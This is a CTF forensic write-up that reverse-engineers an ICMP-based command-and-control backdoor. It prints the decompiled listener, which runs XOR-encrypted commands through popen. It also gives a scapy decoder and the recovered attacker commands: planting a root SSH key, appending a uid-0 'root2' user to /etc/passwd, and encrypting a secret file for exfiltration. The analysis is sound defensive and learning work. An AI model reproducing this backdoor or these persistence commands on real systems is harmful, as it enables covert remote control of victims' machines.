pwntopiashl - reverse engineering - pwntopia

We are provided with a PCAP file and a binary.

file pwntopiashl capture.pcap
pwntopiashl:  ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7ea5fda28b3a88f7a5f8cf761870503215d8aa50, for GNU/Linux 3.2.0, not stripped
capture.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)

When opening the PCAP capture in Wireshark, we can see ICMP requests, some with awkward data.

Let’s use a decompiler to see what the binary file hides.


int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  __int64 v4; // rdi

  v3 = time(0LL);
  v4 = v3;
  srand(v3);
  icmp_packet_listener(v4);
}

void __noreturn icmp_packet_listener()
{
  size_t v0; // rbx
  size_t v1; // rbx
  size_t v2; // rbx
  int v3; // eax
  struct sockaddr addr; // [rsp+0h] [rbp-C810h] BYREF
  char buf[2]; // [rsp+10h] [rbp-C800h] BYREF
  __int16 v6; // [rsp+12h] [rbp-C7FEh]
  char v7[8]; // [rsp+18h] [rbp-C7F8h] BYREF
  __int64 v8; // [rsp+20h] [rbp-C7F0h] BYREF
  __int16 v9; // [rsp+38h] [rbp-C7D8h]
  __int16 v10; // [rsp+3Ah] [rbp-C7D6h]
  char v11; // [rsp+3Ch] [rbp-C7D4h]
  char v12; // [rsp+3Dh] [rbp-C7D3h]
  __int16 v13; // [rsp+3Eh] [rbp-C7D2h]
  char dest[25536]; // [rsp+40h] [rbp-C7D0h] BYREF
  char s[20]; // [rsp+6400h] [rbp-6410h] BYREF
  char v16; // [rsp+6414h] [rbp-63FCh] BYREF
  int v17; // [rsp+C7C0h] [rbp-50h]
  unsigned int v18; // [rsp+C7C4h] [rbp-4Ch]
  FILE *stream; // [rsp+C7C8h] [rbp-48h]
  int v20; // [rsp+C7D0h] [rbp-40h]
  int v21; // [rsp+C7D4h] [rbp-3Ch]
  char *v22; // [rsp+C7D8h] [rbp-38h]
  char *v23; // [rsp+C7E0h] [rbp-30h]
  int fd; // [rsp+C7ECh] [rbp-24h]
  int i; // [rsp+C7F0h] [rbp-20h]
  int j; // [rsp+C7F4h] [rbp-1Ch]
  int v27; // [rsp+C7F8h] [rbp-18h]
  unsigned int v28; // [rsp+C7FCh] [rbp-14h]

  fd = socket(2, 3, 1);
  if ( fd < 0 )
    exit(1);
  while ( 1 )
  {
    do
      memset(s, 0, 0x63C0uLL);
    while ( recv(fd, s, 0x63BFuLL, 0) <= 0 );
    v23 = s;
    v22 = &v16;
    v21 = 28;
    if ( v16 == 12 && v22[1] == 35 )
    {
      v9 = *((_WORD *)v22 + 1);
      LOBYTE(v10) = rand();
      HIBYTE(v10) = rand();
      v11 = v9 ^ HIBYTE(v9);
      v12 = v10 ^ HIBYTE(v10);
      v13 = v9 ^ v10;
      memset(buf, 0, 0x20uLL);
      addr.sa_family = 2;
      *(_DWORD *)&addr.sa_data[2] = *((_DWORD *)v23 + 3);
      buf[0] = 0;
      v6 = v10;
      sleep(1u);
      sendto(fd, buf, v20 + 8LL, 0, &addr, 0x10u);
    }
    if ( *v22 == 19 && v22[1] == 42 )
    {
      addr.sa_family = 2;
      *(_DWORD *)&addr.sa_data[2] = *((_DWORD *)v23 + 3);
      memset(dest, 0, sizeof(dest));
      memcpy(dest, &s[v21], (unsigned int)(25535 - v21));
      for ( i = 25536; ; --i )
      {
        v0 = i;
        if ( v0 < strlen(dest) || dest[i - 1] )
          break;
      }
      for ( j = 0; j < i; ++j )
        dest[j] ^= *((_BYTE *)&v9 + (j & 7));
      puts(dest);
      fflush(_bss_start);
      stream = popen(dest, "r");
      if ( stream )
      {
        memset(dest, 0, sizeof(dest));
        memset(s, 0, 0x63C0uLL);
        while ( fgets(s, 25536, stream) )
        {
          v1 = strlen(dest);
          if ( v1 + strlen(s) > 0x63BE )
            break;
          strcat(dest, s);
        }
        pclose(stream);
        i = strlen(dest);
        for ( j = 0; j < i; ++j )
          dest[j] ^= *((_BYTE *)&v9 + (j & 7));
        for ( i = 25536; ; --i )
        {
          v2 = i;
          if ( v2 < strlen(dest) || dest[i - 1] )
            break;
        }
        v27 = 0;
        v28 = i;
        v18 = ((unsigned __int64)i >> 4) + 1;
        for ( j = 0; j < (int)v18; ++j )
        {
          memset(buf, 0, 0x20uLL);
          buf[0] = 8;
          v3 = v28;
          if ( v28 > 0x10 )
            v3 = 16;
          v17 = v3;
          sprintf(v7, "%04d%04d", (unsigned int)(j + 1), v18);
          memcpy(&v8, &dest[v27], v17);
          v27 += v17;
          v28 -= v17;
          sleep(1u);
          sendto(fd, buf, v17 + 16LL, 0, &addr, 0x10u);
        }
      }
    }
  }
}

However, it seems that there are checks on the data. If it contains certain values as header, some actions are done. Firstly, if the header is b’\x0c\x23’, then take some data from the request and create a key with randomly generated data. We also see at the end that we send back the randomly generated short. This is some form of hanshake.

if ( v16 == 12 && v22[1] == 35 )
    {
      v9 = *((_WORD *)v22 + 1);
      LOBYTE(v10) = rand();
      HIBYTE(v10) = rand();
      v11 = v9 ^ HIBYTE(v9);
      v12 = v10 ^ HIBYTE(v10);
      v13 = v9 ^ v10;
      memset(buf, 0, 0x20uLL);
      addr.sa_family = 2;
      *(_DWORD *)&addr.sa_data[2] = *((_DWORD *)v23 + 3);
      buf[0] = 0;
      v6 = v10;
      sleep(1u);
      sendto(fd, buf, v20 + 8LL, 0, &addr, 0x10u);
    }

If the header is b'\x13\x2A', we see that we retrieve the data and decipher it using XOR cipher with the key generated at handshake.

Then, the deciphered data as argument in popen, which means deciphered data should be commands, then the outputs is ciphered with the same key.

This is some kind of Command & Control (C2) backdoor mechanism.

 if ( *v22 == 19 && v22[1] == 42 )
    {
      addr.sa_family = 2;
      *(_DWORD *)&addr.sa_data[2] = *((_DWORD *)v23 + 3);
      memset(dest, 0, sizeof(dest));
      memcpy(dest, &s[v21], (unsigned int)(25535 - v21));
      for ( i = 25536; ; --i )
      {
        v0 = i;
        if ( v0 < strlen(dest) || dest[i - 1] )
          break;
      }
      for ( j = 0; j < i; ++j )
        dest[j] ^= *((_BYTE *)&v9 + (j & 7));
      puts(dest);
      fflush(_bss_start);
      stream = popen(dest, "r");
      if ( stream )
      {
        memset(dest, 0, sizeof(dest));
        memset(s, 0, 0x63C0uLL);
        while ( fgets(s, 25536, stream) )
        {
          v1 = strlen(dest);
          if ( v1 + strlen(s) > 0x63BE )
            break;
          strcat(dest, s);
        }
        pclose(stream);
        i = strlen(dest);
        for ( j = 0; j < i; ++j )
          dest[j] ^= *((_BYTE *)&v9 + (j & 7));
        for ( i = 25536; ; --i )
        {
          v2 = i;
          if ( v2 < strlen(dest) || dest[i - 1] )
            break;
        }
        v27 = 0;
        v28 = i;
        v18 = ((unsigned __int64)i >> 4) + 1;
        for ( j = 0; j < (int)v18; ++j )
        {
          memset(buf, 0, 0x20uLL);
          buf[0] = 8;
          v3 = v28;
          if ( v28 > 0x10 )
            v3 = 16;
          v17 = v3;
          sprintf(v7, "%04d%04d", (unsigned int)(j + 1), v18);
          memcpy(&v8, &dest[v27], v17);
          v27 += v17;
          v28 -= v17;
          sleep(1u);
          sendto(fd, buf, v17 + 16LL, 0, &addr, 0x10u);
        }
      }

Since we have the network capture, we can decipher the data and see what was done on the compromised machine.

We developed a small script. We iterate on packets. If the packet has the key handshake header, we build the key. If it’s the command execution, we decipher the command used and the output using the current key.

# decode_c2_data.py
from scapy.all import *
from itertools import cycle

def generate_xor_key(key: int, r: int) -> bytes:
    key_lo = key & 0xFF
    key_hi = (key >> 8) & 0xFF
    r_lo = r & 0xFF
    r_hi = (r >> 8) & 0xFF
    kxor = key ^ r
    return bytes([
        key_lo,
        key_hi,
        r_lo,
        r_hi,
        key_hi ^ key_lo,
        r_hi ^ r_lo,
        kxor & 0xFF,
        (kxor >> 8) & 0xFF
    ])

def dump_data(pcap_path):
    packets = rdpcap(pcap_path)

    key = None
    for i in range(len(packets)):
        data = bytes(packets[i][ICMP])

        if i != len(packets) - 1:
            next_data = bytes(packets[i + 1][ICMP])

        if data[0:2] == b'\x0c\x23':
            first = int.from_bytes(data[2:4], byteorder='little')
            second = int.from_bytes(next_data[2:4], byteorder='little')
            print(f"Key init found! first = {hex(first)} & second = {hex(second)}")
            key = generate_xor_key(first, second)
        elif data[0:2] == b'\x13\x2A':
            cipher = data[8:]
            plain = "".join([chr(a ^ b) for a,b in zip(cipher, cycle(key))])
            print(f"Found plain: {plain}")
        else:
            cipher = data[8:]
            plain = "".join([chr(a ^ b) for a,b in zip(cipher, cycle(key))])
            plain = plain[8:]
            print(f"{plain}")

dump_data("capture.pcap")

Here is the output of our little script :

python3 decode_c2_data.py

Key init found! first = 0xada & second = 0xe0de

Found plain: id
uid=0(root) gid=
0(root) groups=0
(root)

Found plain: mkdir /root/.ssh && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCx+J8mv79rAqohohfdnzJDBS6wfnl1RT0CUeIYqqoWv7VTgiCMmmG7ww4jfWtX4IXb6KN1uO17Jpfqod0brs3QHgiwpwhGbdurPMGbZwmJaXdCbf69ZTzf1YYn9xv5SxUrlGg9/UAs2QbHPt0rcrv5Y7b47IUodm8H9P6SiVddhGIpRViToBJZ83leGaTMfH2W9moWfMtcNegNmrIc3ObfLa0/T03Ag2nwjNkoBOwbR/S5wsQYuEufDHNF4eAeWKI+UsRB19yrKOmrsrlnQ831JSiYQ5VCDcchyHW2FqEkf/LK4mBE2Y/u8etAwzgi9dVbO4dhV1cG4JdUE5X/mhphktZM0zy3/i6AstWKalDyUnKSRkFi+iAm3bj5rg6eZsbWXzoiOQHvIjBtjkTIaneufmLMqj5rNUnOgBI1glAMp5rDewqH5Wga90lddtBDN698ULoIQR+TTe/1fryGcBcKNXiRBfe2fqqK0i9wOY20xu/4tPZAilo/RQxKBXEq5gs=' > /root/.ssh/id_rsa.pub

Found plain: cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3Nz
aC1yc2EAAAADAQAB
AAABgQCx+J8mv79r
AqohohfdnzJDBS6w
fnl1RT0CUeIYqqoW
v7VTgiCMmmG7ww4j
fWtX4IXb6KN1uO17
Jpfqod0brs3QHgiw
pwhGbdurPMGbZwmJ
aXdCbf69ZTzf1YYn
9xv5SxUrlGg9/UAs
2QbHPt0rcrv5Y7b4
7IUodm8H9P6SiVdd
hGIpRViToBJZ83le
GaTMfH2W9moWfMtc
NegNmrIc3ObfLa0/
T03Ag2nwjNkoBOwb
R/S5wsQYuEufDHNF
4eAeWKI+UsRB19yr
KOmrsrlnQ831JSiY
Q5VCDcchyHW2FqEk
f/LK4mBE2Y/u8etA
wzgi9dVbO4dhV1cG
4JdUE5X/mhphktZM
0zy3/i6AstWKalDy
UnKSRkFi+iAm3bj5
rg6eZsbWXzoiOQHv
IjBtjkTIaneufmLM
qj5rNUnOgBI1glAM
p5rDewqH5Wga90ld
dtBDN698ULoIQR+T
Te/1fryGcBcKNXiR
Bfe2fqqK0i9wOY20
xu/4tPZAilo/RQxK
BXEq5gs=

Key init found! first = 0xff3c & second = 0xe8b4

Found plain: openssl passwd pwnt0p14
$1$d0QECrET$duOS
z/ZMGfKaSPgyxagI
n0

Found plain: echo 'root2:$1$d0QECrET$duOSz/ZMGfKaSPgyxagIn0:0:0:root:/root:/bin/bash' >> /etc/passwd

Found plain: tail -n 1 /etc/passwd
root2:$1$d0QECrE
T$duOSz/ZMGfKaSP
gyxagIn0:0:0:roo
t:/root:/bin/bas
h

Key init found! first = 0xaea & second = 0x44dc

Found plain: pwd
/tmp/pwntopia

Found plain: ls -la
total 44
drwxr-x
r-x  2 root root
  4096 Mar 10 17
:18 .
drwxrwxrwt
 29 root root 16
384 Mar 10 17:50
 ..
-rwxr-xr-x
1 root root 1688
0 Mar 10 17:49 p
wntopiashl
-rw-r
--r--  1 root ro
ot    31 Mar 10
17:18 .secret

Found plain: cat .secret | openssl enc -aes-256-cbc -a -salt -pbkdf2 -pass pass:we_pwned_nops
U2FsdGVkX1+sDd5g
4JCxThLBMo/IsCKi
wxriZAOdcfL7Y8ce
jGFLo3jpAiyuyx7o


Key init found! first = 0x3d56 & second = 0x7093

We can see that the attacker added persistence by adding a RSA SSH public key to the root user. Then, he created a root2 user by appending root2:$1$d0QECrET$duOSz/ZMGfKaSPgyxagIn0:0:0:root:/root:/bin/bash to /etc/passwd. We also can see that the .secret file was exfiltrated. Since we retrieved the commands, we just have to take the ciphered .secret file and decipher it using the password we_pwned_nops.

cat > cipher.txt <<EOF
U2FsdGVkX1+sDd5g
4JCxThLBMo/IsCKi
wxriZAOdcfL7Y8ce
jGFLo3jpAiyuyx7o
EOF

openssl enc -aes-256-cbc -d -a -salt -pbkdf2 -pass pass:we_pwned_nops -in cipher.txt
N0PS{v3Ry_s734lThY_1cMP_sh3Ll}